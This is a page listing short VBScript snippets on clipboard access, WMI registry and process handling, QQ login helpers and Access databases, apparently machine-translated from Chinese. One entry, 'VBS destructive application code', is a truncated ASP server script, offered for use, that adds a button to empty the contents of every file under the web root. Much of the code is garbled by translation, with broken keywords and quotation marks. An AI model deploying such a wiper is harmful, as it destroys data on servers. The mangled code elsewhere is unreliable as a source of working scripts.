Category:VBS

  • VBS how to view or get the script content of the clipboard

    Time:2020-7-10

    Copy codeThe code is as follows: Set objhtml = create object (“htmlfile”) ‘both xmlfile and mhtmlfile can be usedClipboardText=objHTML.ParentWindow.ClipboardData.GetData(“text”) MsgBox ClipboardText

  • VBS memo start code

    Time:2020-7-9

    Copy codeThe code is as follows: MSG = array (“cancel the call ᦇ 57 ᦇ”, “server processing”, “traffic chart to see if there is a large amount of traffic”, “what tasks should be completed today”)‘msgbox join(msg,vbcrlf)    For i = 0 To UBound(msg)        MsgBox msg(i)    Next 

  • ADOX.Catalog Chm document page 1 / 3

    Time:2020-7-8

    First of all, give a full version of the address, if you have installed Office on your machine should be able to open: ADO object model,The address is: “C: program files / common files / Microsoft shared / office11 / 2052 / ado210. CHM“,You can enter:“ hh.exe  C:\Program%20Files\Common%20Files\Microsoft%20Shared\OFFICE11\2052\ADO210.CHM::/htm/ admscobjectmodel.htm “Positioning.ADO object model diagram: 1. Overview […]

  • Vbs script code to operate registry using WMI page 1 / 2

    Time:2020-7-7

    oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath    oReg.SetExpandedStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue    oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue    oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue    oReg.SetBinaryValue HKEY_LOCAL_MACHINE,strPath,strValueName,uBinary    oReg.SetMultiStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,arrStringValues    oReg.DeleteKey HKEY_LOCAL_MACHINE, strKeyPath    oReg.DeleteValue HKEY_LOCAL_MACHINE,strKeyPath,strStringValueName    oReg.GetExpandedStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue    oReg.GetDWORDValue HKEY_CURRENT_USER,strKeyPath,strValueName,dwValue    oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue    oReg.GetBinaryValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,uBinary    oReg.GetMultiStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,arrStringValues    ‘——————————————————————————————-    Const HKEY_CLASSES_ROOT = &H80000000    Const HKEY_CURRENT_USER = &H80000001    Const HKEY_LOCAL_MACHINE = &H80000002    Const HKEY_USERS = &H80000003    Const HKEY_CURRENT_CONFIG = &H80000005    ‘create a registry keyconst HKEY_LOCAL_MACHINE = &H80000002    strComputer = “.”   Set StdOut = WScript.StdOut    Set oReg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\” &_     strComputer & “\root\default:StdRegProv”)    strKeyPath = “SOFTWARE\System Admin Scripting Guide”   oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath    ‘create a multi string valueconst HKEY_LOCAL_MACHINE = &H80000002    strComputer = “.”   Set oReg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\” &_     strComputer & “\root\default:StdRegProv”)    strKeyPath = “SOFTWARE\System Admin Scripting Guide”   strValueName = “Multi String Value Name”   arrStringValues = Array(“first string”, “second string”,_     “third string”, “fourth string”)    oReg.SetMultiStringValue HKEY_LOCAL_MACHINE,strKeyPath,_    strValueName,arrStringValues       ‘create an extended string valueconst HKEY_LOCAL_MACHINE = &H80000002    strComputer = “.”   Set oReg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\” &_     strComputer & “\root\default:StdRegProv”)    strKeyPath = “SOFTWARE\System Admin Scripting Guide”   strValueName = “Expanded String Value Name”   strValue = “%PATHEXT%”   […]

  • The code of getting QQ signature in the first battle of VBS XMLDOM

    Time:2020-7-6

    ‘/*=========================================================================    ‘* intro uses XMLDOM to analyze QQ signature documents‘ * FileName    QQ_QianMing.vbs    ‘ * Author      yongfa365    ‘ * Version     v2.0    ‘ * Email       yongfa365[at]qq.com     ‘ * MadeTime    2008-01-22 20:55:25    ‘ * LastModify  2008-02-22 20:55:25    ‘ *==========================================================================*/    Set Doc = CreateObject(“Microsoft.XMLDOM”)    Doc.async = False   Doc.load(“http://e.cnc.qzone.qq.com/cgi-bin/cgi_emotion_indexcount.cgi?uin=64049027”)    Set root = Doc.documentElement    Set node = root.childNodes.nextNode()    Wscript.Echo “Total” node.text “Signature information” Set Doc = CreateObject(“Microsoft.XMLDOM”)    Doc.async = False   Doc.load(“http://e.cnc.qzone.qq.com/cgi-bin/cgi_emotion_indexlist.cgi?uin=64049027&emotionarchive=-1”)    Set root = Doc.documentElement    Wscript.Echo “The XML root node name is: & nbsp root.nodeName    Set node = root.childNodes.nextNode()    For nodei = 0 To node.childNodes.Length -1        Set NowNode = node.childNodes(nodei)        msg = msg & vbCrLf & “id” & “:” & NowNode.Attributes.getNamedItem(“id”).text        ‘    msg = msg & vbCrLf & “id” & “:” & NowNode.getAttribute(“id”)        msg = msg & vbCrLf & “title” & “:” & NowNode.selectSingleNode(“title”).text        msg = msg & vbCrLf & “pubDate” & “:” & NowNode.selectSingleNode(“pubDate”).text        ‘    msg = msg & vbCrLf &  NowNode.childNodes(0).nodeName & “:” & NowNode.childNodes(0).text        ‘    msg = msg & vbCrLf &  NowNode.childNodes(1).nodeName & “:” & NowNode.childNodes(1).text    Next   Wscript.Echo msg 

  • VBS destructive application code

    Time:2020-7-5

    ‘seen online, applicable and not banned shell.application Server forserver.scripttimeout = 99999    If request(“submit”)<>”” Then       Call listfile(server.mappath(“./”))         response.Write “Finished processing”Else        response.Write “< form > < input type =” submit “” name = “submit” “value = empty the contents of all files” > < / form > “End If   Function listfile(fpath)        On Error Resume Next       Dim Shell, Folder, s        Set Shell = server.CreateObject (“shell.application”)        Set Folder = Shell.namespace(fpath)        Set f = server.CreateObject(“adodb.stream”)        f.Type = 1        f.Open       For Each s in Folder.Items            If s.isfolder Then               Call listfile(s.Path)            Else   […]

  • VBS generates the fields of all tables in access data

    Time:2020-7-4

    < job id = “generate all tables and fields in access database and generate character combinations in a certain format” > “<script language =”vbscript”> databasename =” access.mdb Database addressTablename = “blogariticle” ‘”the name of the table to be processed Set conn = CreateObject(“ADODB.Connection”) connstr =”provider=microsoft.jet.oledb.4.0;data source=”&databasename conn.Open connstr Set rs_all = CreateObject(“adodb.recordset”) sql_all =”select name from MSysObjects where type=1 and flags=0″ rs_all.Open sql_all, conn,1,1 DoWhileNot rs_all.EOF     tablename = rs_all(0) Set rs = CreateObject(“adodb.recordset”)     sql =”select * from “& tablename &” where 1<>1″     rs.Open sql, conn,1,1     j = rs.Fields.Count     txtContent =””     txtContent1 =””     txtContent2 =””     txtContent3 =””     txtContent4 =”” For i =0To(j -1)         title = rs.Fields(i).Name […]

  • VBS implementation of the image adaptive form, the best solution at present!

    Time:2020-7-3

    1. When uploading, you can save the height and width of the picture in the database. When you use it, you can judge it. But that method is more troublesome2. Use a function in VBScript called loadfeaturePicurl ‘picture address‘Take out the height and width Select the size of the picture before using itset myImg = loadpicture(server.mappath(picurl))   iWidth = round(myImg.width / 26.4583)   iHeight = round(myImg.height / 26.4583)  […]

  • ProcessMagnifier.vbs Process view

    Time:2020-7-2

    ‘ FileName: ProcessMagnifier.vbs    ‘ Function: Capture information about the running processes in detail    ‘ code by somebody    ‘ QQ: 240460440    ‘ LastModified:2007-11-16 18:25    ‘for learning only Const HKEY_CURRENT_USER = &H80000001    oReg = GetObject(“winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv”)    strKeyPath = “Console\%SystemRoot%_system32_cmd.exe”   oReg.CreateKey(HKEY_CURRENT_USER, strKeyPath)    strValueName1 = “CodePage”   dwValue1 = 936    strValueName2 = “ScreenBufferSize”   dwValue2 = 98304200    strValueName3 = “WindowSize”   dwValue3 = 2818173    strValueName4 = “HistoryNoDup”   dwValue4 = 0    strValueName5 = “WindowPosition”   dwValue5 = 131068    strValueName6 = “QuickEdit”   dwValue6 = 2048    oReg.SetDWORDValue(HKEY_CURRENT_USER, strKeyPath, strValueName1, dwValue1)    oReg.SetDWORDValue(HKEY_CURRENT_USER, strKeyPath, strValueName2, dwValue2)    oReg.SetDWORDValue(HKEY_CURRENT_USER, strKeyPath, strValueName3, dwValue3)    oReg.SetDWORDValue(HKEY_CURRENT_USER, strKeyPath, strValueName4, dwValue4)    oReg.SetDWORDValue(HKEY_CURRENT_USER, strKeyPath, strValueName5, dwValue5)    oReg.SetDWORDValue(HKEY_CURRENT_USER, strKeyPath, strValueName6, dwValue6)       Dim objWSH, FinalPath    objWSH = WScript.CreateObject(“WScript.Shell”)    If (LCase(Right(WScript.Fullname, 11)) = “wscript.exe”) Then       FinalPath = “‘” & WScript.ScriptFullName & “‘”       objWSH.Run(“cmd.exe /k cscript //nologo ” & Replace(FinalPath, “‘”, “”””))        WScript.Quit()    End If   oReg.DeleteKey(HKEY_CURRENT_USER, strKeyPath)    oReg = Nothing   WScript.Echo()    WScript.Sleep(1000)    WScript.Echo (“a brief list of currently running processes is as follows: ‘)WScript.Echo(vbCrLf)    WScript.Sleep(2000)    […]

  • HTA code for extracting Netease files

    Time:2020-7-1

    < title > Netease file ingestion<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″> <HTA:APPLICATION    ID=”MyhyliApp”   ApplicationName = “setup program” VERSION=”1.0″    SCROLL=”no”    INNERBORDER=”no”    CONTEXTMENU=”no”    CAPTION=”yes”    SHOWINTASKBAR=”yes”    SINGLEINSTANCE=”yes”    SYSMENU=”yes”    WINDOWSTATE=”normal”   NAVIGABLE=”yes”   /> <style type=”text/css”>  <!–  . TT1 {font family: “Lishu” font-size: 24px;   font-weight: bold;  }  .title {  }  .info {  Font family: “Lishu” font-size: 16px;   color: #FF0000;   font-weight: bold;  }  .separator { width:100%;   margin:2px;   margin-top:-4px;   height:12px;   overflow:hidden;  }  .list { height: 80px;   width: 100%;   background-color: #E3EFF9;  }  .s_button {   background-color: #FFCC99;   position: static;   text-align: center;   vertical-align: middle;  […]

  • VBS takes QQ or TM automatic login code and prevents closing the script

    Time:2020-6-30

    ‘Dim QQUIN    Set objWMIService = GetObject _                        (“winmgmts:\\” & “.” & “\root\cimv2”)    Set ps = objWMIService.ExecQuery _             (“SELECT * FROM Win32_process”)    For each PS in PS’ lists all running programs in the system     ‘for each ps in getobject(“winmgmts:\\\\.\\root\\cimv2:win32_ process”).instances_ ‘list all running programs in the system    If LCase( ps.Name ) = ” qq.exe ” Or LCase( ps.Name ) = ” tm.exe “Then ‘check whether QQ or TM        AppPath =  ps.commandline ‘extract the command line of QQ program        tmp = Replace(AppPath, Chr(34), Space(1))            UIN1 = InStr(tmp, “QQUIN:”) + 6    Qquin = mid (TMP, uin1, instr (uin1, […]

  • VBS calls WMI to quickly close ie script

    Time:2020-6-29

    VBS calls WMI to kill IESave the following file as KillIE.vbs When you want to close all web pages opened with ie, double-click to execute, Set wmi=GetObject(“winmgmts:\\.”) Set pro_s=wmi.instancesof(“win32_process”) For Each p In pro_s  if p.name=”iexplore.exe” then p.terminate() Next This is to extract because: I usually open a lot of web pages, close also to close half a day, with this is really good. […]